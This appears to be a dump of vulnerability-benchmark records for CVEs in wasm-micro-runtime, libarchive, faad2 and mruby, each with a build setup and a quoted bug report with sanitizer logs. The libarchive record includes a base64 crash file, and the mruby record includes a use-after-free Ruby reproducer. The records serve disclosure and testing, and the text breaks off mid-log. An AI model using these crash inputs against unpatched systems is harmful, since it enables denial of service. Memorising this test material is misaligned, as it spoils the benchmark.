[ { "sha": "5250afecbc770c8f26829e9566d5b226a3c5fa80", "url": "https://github.com/gpac/gpac/commit/5250afecbc770c8f26829e9566d5b226a3c5fa80" } ]
wamr.cve-2024-25431
bytecodealliance/wasm-micro-runtime
b3f728ceb36f9c72047a934436ef41699643ab99
2024-01-31T22:42:12
wasm-micro-runtime
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt upgrade -y && apt install -y build-essential clang llvm RUN apt install -y build-essential clang llvm RUN git clone https://github.com/bytecodealliance/wasm-micro-runtime wasm-micro-runtime RUN git -C wasm-micro-runtime checkout b3f728ceb36f9c72047a934436ef41699643ab99 WORKDIR $SRC/wasm-micro-runtime COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu -DCMAKE_C_FLAGS="${CFLAGS}" -DCMAKE_CXX_FLAGS="${CXXFLAGS}" -DCMAKE_EXE_LINKER_FLAGS="${LDFLAGS}" -DCMAKE_MODULE_LINKER_FLAGS="${LDFLAGS}" -DCMAKE_SHARED_LINKER_FLAGS="${LDFLAGS}" cmake -S . -B build_loader \ "${cmake_args[@]}" \ && cmake --build build_loader
/src/wasm-micro-runtime
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/bytecodealliance/wasm-micro-runtime/issues/3122 ## Description: Issue: bytecodealliance/wasm-micro-runtime#3122 Title: Invalid Read Memory in check_wasi_abi_compatibility State: closed Created by: haruki3hhh Created at: 2024-02-03 03:14:15+00:00 Labels: bug, fixed, wasm loader Issue Body: ## Version commit b3f728ceb36f9c72047a934436ef41699643ab99 (HEAD -> main, origin/main, origin/HEAD) Author: Wenyong Huang <wenyong.huang@intel.com> Date: Thu Feb 1 12:42:12 2024 +0800 ## Compile ```sh cd wasm-micro-runtime/product-mini/platforms/linux/ cmake -DCMAKE_C_COMPILER="gcc" -DCMAKE_C_FLAGS="-g -fsanitize=address -fno-omit-frame-pointer" -DCMAKE_LINKER_FLAGS="-g -fsanitize=address -fno-omit-frame-pointer" .. make -j ``` ## Reproduce ```sh ./iwasm id\:000000\,sig\:06\,src\:001224\,op\:python\,pos\:0 ``` ## ASAN Log ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==1546471==ERROR: AddressSanitizer: SEGV on unknown address 0x603800000368 (pc 0x55f3ba9bb762 bp 0x7ffd6d5a03c0 sp 0x7ffd6d5a0260 T0) ==1546471==The signal is caused by a READ memory access. #0 0x55f3ba9bb761 in check_wasi_abi_compatibility /root/Ablation/wasm-micro-runtime/core/iwasm/interpreter/wasm_loader.c:4276 #1 0x55f3ba9bb761 in wasm_loader_load /root/Ablation/wasm-micro-runtime/core/iwasm/interpreter/wasm_loader.c:4383 #2 0x55f3ba93171c in main /root/Ablation/wasm-micro-runtime/product-mini/platforms/linux/../posix/main.c:885 #3 0x7f74763de082 in __libc_start_main ../csu/libc-start.c:308 #4 0x55f3ba932b2d in _start (/root/Ablation/wasm-micro-runtime/product-mini/platforms/linux/build_asan/iwasm+0x22b2d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /root/Ablation/wasm-micro-runtime/core/iwasm/interpreter/wasm_loader.c:4276 in check_wasi_abi_compatibility ==1546471==ABORTING ``` ## PoC [PoC](https://github.com/haruki3hhh/fuzzing/blob/main/id%3A000000%2Csig%3A06%2Csrc%3A001224%2Cop%3Apython%2Cpos%3A0) Comments: Comment by wenyongh on 2024-02-04 09:28:38+00:00: @haruki3hhh thanks for spotting the issue, it was fixed with #3126. --- Comment by wenyongh on 2024-03-15 05:48:20+00:00: Close the issue since it had been fixed. Commit References: b3f728ceb36f9c72047a934436ef41699643ab99
[]
[ { "sha": "b3f728ceb36f9c72047a934436ef41699643ab99", "url": "https://github.com/bytecodealliance/wasm-micro-runtime/commit/b3f728ceb36f9c72047a934436ef41699643ab99" }, { "sha": "06df58f20eeb46351b0ca7ff46d21eb541d2784a", "url": "https://github.com/bytecodealliance/wasm-micro-runtime/commit/06df58f20eeb46351b0ca7ff46d21eb541d2784a" }, { "sha": "d13d8f9827950821ec986eb5aa1ce32e51c4053b", "url": "https://github.com/victoryang00/wamr-aot-gc-checkpoint-restore/commit/d13d8f9827950821ec986eb5aa1ce32e51c4053b" }, { "sha": "44e8ea688104bac99903db63a18098f0934962ff", "url": "https://github.com/bytecodealliance/wasm-micro-runtime/commit/44e8ea688104bac99903db63a18098f0934962ff" } ]
libarchive.cve-2017-14501
libarchive/libarchive
98a695399e8e7420635a5448aecde8b0a82fb83a
2017-07-09T21:38:04
libarchive
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool pkg-config libbz2-dev liblzo2-dev liblzma-dev liblz4-dev libz-dev libxml2-dev libssl-dev libacl1-dev libattr1-dev RUN git clone https://github.com/libarchive/libarchive libarchive RUN git -C libarchive checkout 98a695399e8e7420635a5448aecde8b0a82fb83a WORKDIR $SRC/libarchive COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure make -j$(nproc) all
/src/libarchive
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/libarchive/libarchive/issues/949 ## Description: Issue: libarchive/libarchive#949 Title: out-of-bounds read in archive_read_format_iso9660_read_header() State: closed Created by: carnil Created at: 2017-09-16 19:13:48+00:00 Issue Body: Hi The following was reported downstream in Debian in https://bugs.debian.org/875966 The reproducer (compressed with gzip), base64 `oob.iso.gz` is ```` H4sIAAAAAAACA+3WsQmAQAwF0NwqTvCtHED3X0mbaxQEwUa897o0v0lCkgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAbd2SudXbnOqWS33nSeZ0Stcr/rBwBnlwBV+x9/sPAIzDOw4AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADJAVTyAwTg/wAA ```` tested against 5562545b5562f6d12a4ef991fae158bf4ccf92b6 ```` ASAN_OPTIONS="detect_leaks=0" ./bsdtar -xOf ~/oob.iso ================================================================= ==13912==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x631000024800 at pc 0x5644c43511e9 bp 0x7ffc1fbd20d0 sp 0x7ffc1fbd20c8 READ of size 1 at 0x631000024800 thread T0 #0 0x5644c43511e8 in parse_file_info libarchive/archive_read_support_format_iso9660.c:1767 #1 0x5644c434c76f in choose_volume libarchive/archive_read_support_format_iso9660.c:1115 #2 0x5644c434cdeb in archive_read_format_iso9660_read_header libarchive/archive_read_support_format_iso9660.c:1181 #3 0x5644c4304d61 in _archive_read_next_header2 libarchive/archive_read.c:648 #4 0x5644c430502f in _archive_read_next_header libarchive/archive_read.c:686 #5 0x5644c43c938f in archive_read_next_header libarchive/archive_virtual.c:148 #6 0x5644c42e0110 in read_archive tar/read.c:260 #7 0x5644c42df303 in tar_mode_x tar/read.c:112 #8 0x5644c42dc62d in main tar/bsdtar.c:866 #9 0x7f31071db2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0) #10 0x5644c42d7f79 in _start (/root/libarchive/bsdtar+0x3ff79) 0x631000024800 is located 0 bytes to the right of 65536-byte region [0x631000014800,0x631000024800) allocated by thread T0 here: #0 0x7f3108af8b70 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xd9b70) #1 0x5644c431926e in file_open libarchive/archive_read_open_filename.c:358 #2 0x5644c4303da8 in archive_read_open1 libarchive/archive_read.c:480 #3 0x5644c43186ba in archive_read_open_filenames libarchive/archive_read_open_filename.c:152 #4 0x5644c43182ae in archive_read_open_filename libarchive/archive_read_open_filename.c:109 #5 0x5644c42dfed2 in read_archive tar/read.c:222 #6 0x5644c42df303 in tar_mode_x tar/read.c:112 #7 0x5644c42dc62d in main tar/bsdtar.c:866 #8 0x7f31071db2e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0) SUMMARY: AddressSanitizer: heap-buffer-overflow libarchive/archive_read_support_format_iso9660.c:1767 in parse_file_info Shadow bytes around the buggy address: 0x0c627fffc8b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffc8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffc8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffc8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c627fffc8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c627fffc900:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c627fffc950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==13912==ABORTING ```` Comments: Comment by carnil on 2017-09-17 18:28:47+00:00: This issue was assigned CVE-2017-14501 --- Comment by VictorRodriguez on 2017-11-23 16:30:00+00:00: Hi, is there any effort to fix this? How critical is for you this issue ? --- Comment by carnil on 2017-12-14 09:21:27+00:00: Hi On Wed, Dec 13, 2017 at 08:42:11AM -0800, Leonardo Sandoval wrote: > Hi @carnil, is someone between the community is planning to fix this > issue? Honestly, I do not know if someone is working on it. We are not actively on Debian's side (yet), just reported the issue to "upstream" as it was first reported in Debian bug https://bugs.debian.org/875966 Defitnively wuld be interested if we could apply a fix downstream in Debian. --- Comment by cemeyer on 2018-08-02 16:28:53+00:00: Per MITRE, > CVSS v3.0 Severity and Metrics: > Base Score: 6.5 MEDIUM > Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H (V3 legend) > Impact Score: 3.6 > Exploitability Score: 2.8 --- Comment by RajeshMalla on 2022-11-25 06:18:02+00:00: can anybody tell me whether this is fixed in 3.3.3-1.el8 libarchive or not. Commit References: 5562545b5562f6d12a4ef991fae158bf4ccf92b6
[ { "content": "// Copyright 2016 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\n////////////////////////////////////////////////////////////////////////////////\n#include <stddef.h>\n#include <stdint.h>\n#include <vector>\n\n#include \"archive.h\"\n\nstruct Buffer {\n const uint8_t *buf;\n size_t len;\n};\n\nssize_t reader_callback(struct archive *a, void *client_data,\n const void **block) {\n Buffer *buffer = reinterpret_cast<Buffer *>(client_data);\n *block = buffer->buf;\n ssize_t len = buffer->len;\n buffer->len = 0;\n return len;\n}\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *buf, size_t len) {\n ssize_t r;\n struct archive *a = archive_read_new();\n\n archive_read_support_filter_all(a);\n archive_read_support_format_all(a);\n\n Buffer buffer = {buf, len};\n archive_read_open(a, &buffer, NULL, reader_callback, NULL);\n\n std::vector<uint8_t> data_buffer(getpagesize(), 0);\n struct archive_entry *entry;\n while (archive_read_next_header(a, &entry) == ARCHIVE_OK) {\n while ((r = archive_read_data(a, data_buffer.data(),\n data_buffer.size())) > 0)\n ;\n if (r == ARCHIVE_FATAL)\n break;\n }\n\n archive_read_free(a);\n return 0;\n}\n", "filename": "libarchive_fuzzer.cc" } ]
[ { "sha": "5562545b5562f6d12a4ef991fae158bf4ccf92b6", "url": "https://github.com/libarchive/libarchive/commit/5562545b5562f6d12a4ef991fae158bf4ccf92b6" } ]
faad2.cve-2021-32273
knik0/faad2
f97f6e933a4ee3cf00b4e1ba4e3a1f05bc9de165
2020-10-20T01:24:05
faad2
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/knik0/faad2 faad2 RUN git -C faad2 checkout f97f6e933a4ee3cf00b4e1ba4e3a1f05bc9de165 WORKDIR $SRC/faad2 COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./bootstrap ./configure make -j$(nproc)
/src/faad2
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/knik0/faad2/issues/56 ## Description: Issue: knik0/faad2#56 Title: A stack-buffer-overflow in mp4read.c:141:9 State: closed Created by: seviezhou Created at: 2020-08-16 07:27:58+00:00 Issue Body: ## System info Ubuntu x86_64, clang 6.0, faad (latest master [eb19fa](https://github.com/knik0/faad2/commit/eb19fa58e08ffad79fe4af09abc0b5a584b4e6e6)) ## Configure CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --enable-shared=no ## Command line ./frontend/faad -w -b 5 @@ ## AddressSanitizer output ``` ================================================================= ==66437==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff84ab6078 at pc 0x0000004462d7 bp 0x7fff84ab5ee0 sp 0x7fff84ab5690 READ of size 41 at 0x7fff84ab6078 thread T0 #0 0x4462d6 in printf_common(void*, char const*, __va_list_tag*) (/home/seviezhou/faad2/frontend/faad+0x4462d6) #1 0x446f1b in __interceptor_vfprintf (/home/seviezhou/faad2/frontend/faad+0x446f1b) #2 0x446fe6 in fprintf (/home/seviezhou/faad2/frontend/faad+0x446fe6) #3 0x5150d3 in ftypin /home/seviezhou/faad2/frontend/mp4read.c:141:9 #4 0x5143fd in parse /home/seviezhou/faad2/frontend/mp4read.c:765:19 #5 0x5130f8 in mp4read_open /home/seviezhou/faad2/frontend/mp4read.c:999:9 #6 0x52a3a7 in decodeMP4file /home/seviezhou/faad2/frontend/main.c:830:9 #7 0x52a3a7 in faad_main /home/seviezhou/faad2/frontend/main.c:1323 #8 0x7f9c8fbc2b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #9 0x41a669 in _start (/home/seviezhou/faad2/frontend/faad+0x41a669) Address 0x7fff84ab6078 is located in stack of thread T0 at offset 88 in frame #0 0x514aef in ftypin /home/seviezhou/faad2/frontend/mp4read.c:126 This frame has 2 object(s): [32, 36) 'u32.i' (line 104) [48, 88) 'buf' (line 128) <== Memory access at offset 88 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/seviezhou/faad2/frontend/faad+0x4462d6) in printf_common(void*, char const*, __va_list_tag*) Shadow bytes around the buggy address: 0x10007094ebb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007094ebc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007094ebd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007094ebe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007094ebf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x10007094ec00: 00 00 00 00 f1 f1 f1 f1 f8 f2 00 00 00 00 00[f3] 0x10007094ec10: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 0x10007094ec20: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 f8 f2 f8 f2 0x10007094ec30: f8 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 0x10007094ec40: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 0x10007094ec50: f8 f2 f2 f2 04 f3 f3 f3 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==66437==ABORTING ``` ## POC [stack-overflow-ftypin-mp4read-141.zip](https://github.com/knik0/faad2/files/5080176/stack-overflow-ftypin-mp4read-141.zip) Attachments: https://github.com/knik0/faad2/files/5080176/stack-overflow-ftypin-mp4read-141.zip Commit References: eb19fa58e08ffad79fe4af09abc0b5a584b4e6e6
[]
[ { "sha": "eb19fa58e08ffad79fe4af09abc0b5a584b4e6e6", "url": "https://github.com/knik0/faad2/commit/eb19fa58e08ffad79fe4af09abc0b5a584b4e6e6" }, { "sha": "1073aeef823cafd844704389e9a497c257768e2f", "url": "https://github.com/knik0/faad2/commit/1073aeef823cafd844704389e9a497c257768e2f" } ]
mruby.cve-2022-1106
mruby/mruby
bf5bbf0a4b7f19ea3960e59f32ec252b3aee2c1a
2022-03-25T21:26:57
mruby
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev RUN git clone https://github.com/mruby/mruby mruby RUN git -C mruby checkout bf5bbf0a4b7f19ea3960e59f32ec252b3aee2c1a WORKDIR $SRC/mruby COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu cd $SRC/mruby export LD=$CC export LDFLAGS="$CFLAGS" rake -m
/src/mruby
address
================= Bug Report (1/1) ================== ## Source: Huntr ## URL: https://huntr.dev/bounties/16b9d0ea-71ed-41bc-8a88-2deb4c20be8f ## Description: While fuzzing mruby I found a use after free in mruby compiled with ASAn. Proof of Concept (uaf5.rb) var1=([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..(([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..[ 1.0 ])..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil]..[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil])))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) var2=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,nil] var3=1.0 var4=-1.0 Here is the output from mruby ASAn binary aldo@vps:~/mruby$ ./bin/mruby uaf5.rb ================================================================= ==64898==ERROR: AddressSanitizer: heap-use-after-free on address 0x619000000130 at pc 0x00000049939a bp 0x7ffffffed4b0 sp 0x7ffffffecc78 WRITE of size 8 at 0x619000000130 thread T0 #0 0x499399 in __asan_memcpy (/home/aldo/mruby/bin/mruby+0x499399) #1 0x6425c3 in mrb_vm_exec /home/aldo/mruby/src/vm.c:2822:17 #2 0x6076bd in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12 #3 0x600af4 in mrb_top_run /home/aldo/mruby/src/vm.c:3045:12 #4 0x6b3615 in mrb_load_exec /home/aldo/mruby/mrbgems/mruby-compiler/core/parse.y:6890:7 #5 0x6b4d3f in mrb_load_detect_file_cxt /home/aldo/mruby/mrbgems/mruby-compiler/core/parse.y:6933:12 #6 0x4cd46a in main /home/aldo/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11 #7 0x7ffff7c500b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16 #8 0x41d77d in _start (/home/aldo/mruby/bin/mruby+0x41d77d) 0x619000000130 is located 176 bytes inside of 1024-byte region [0x619000000080,0x619000000480) freed by thread T0 here: #0 0x49a223 in __interceptor_realloc (/home/aldo/mruby/bin/mruby+0x49a223) #1 0x596e6d in mrb_default_allocf /home/aldo/mruby/src/state.c:68:12 #2 0x538a23 in mrb_realloc_simple /home/aldo/mruby/src/gc.c:226:8 #3 0x5f6b3b in stack_extend_alloc /home/aldo/mruby/src/vm.c:180:27 #4 0x5f645e in mrb_stack_extend /home/aldo/mruby/src/vm.c:200:5 #5 0x5fb720 in mrb_funcall_with_block /home/aldo/mruby/src/vm.c:543:9 #6 0x5f922d in mrb_funcall_argv /home/aldo/mruby/src/vm.c:577:10 #7 0x5f98e2 in mrb_funcall_id /home/aldo/mruby/src/vm.c:393:10 #8 0x732bbf in mrb_cmp /home/aldo/mruby/src/numeric.c:1777:9 #9 0x594f96 in r_check /home/aldo/mruby/src/range.c:39:7 #10 0x58eb2d in range_ptr_init /home/aldo/mruby/src/range.c:80:3 #11 0x58e824 in mrb_range_new /home/aldo/mruby/src/range.c:452:22 #12 0x64256d in mrb_vm_exec /home/aldo/mruby/src/vm.c:2822:17 #13 0x6076bd in mrb_vm_run /home/aldo/mruby/src/vm.c:1131:12 #14 0x600af4 in mrb_top_run /home/aldo/mruby/src/vm.c:3045:12 #15 0x6b3615 in mrb_load_exec /home/aldo/mruby/mrbgems/mruby-compiler/core/parse.y:6890:7 #16 0x6b4d3f in mrb_load_detect_file_cxt /home/aldo/mruby/mrbgems/mruby-compiler/core/parse.y:6933:12 #17 0x4cd46a in main /home/aldo/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11 #18 0x7ffff7c500b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16 previously allocated by 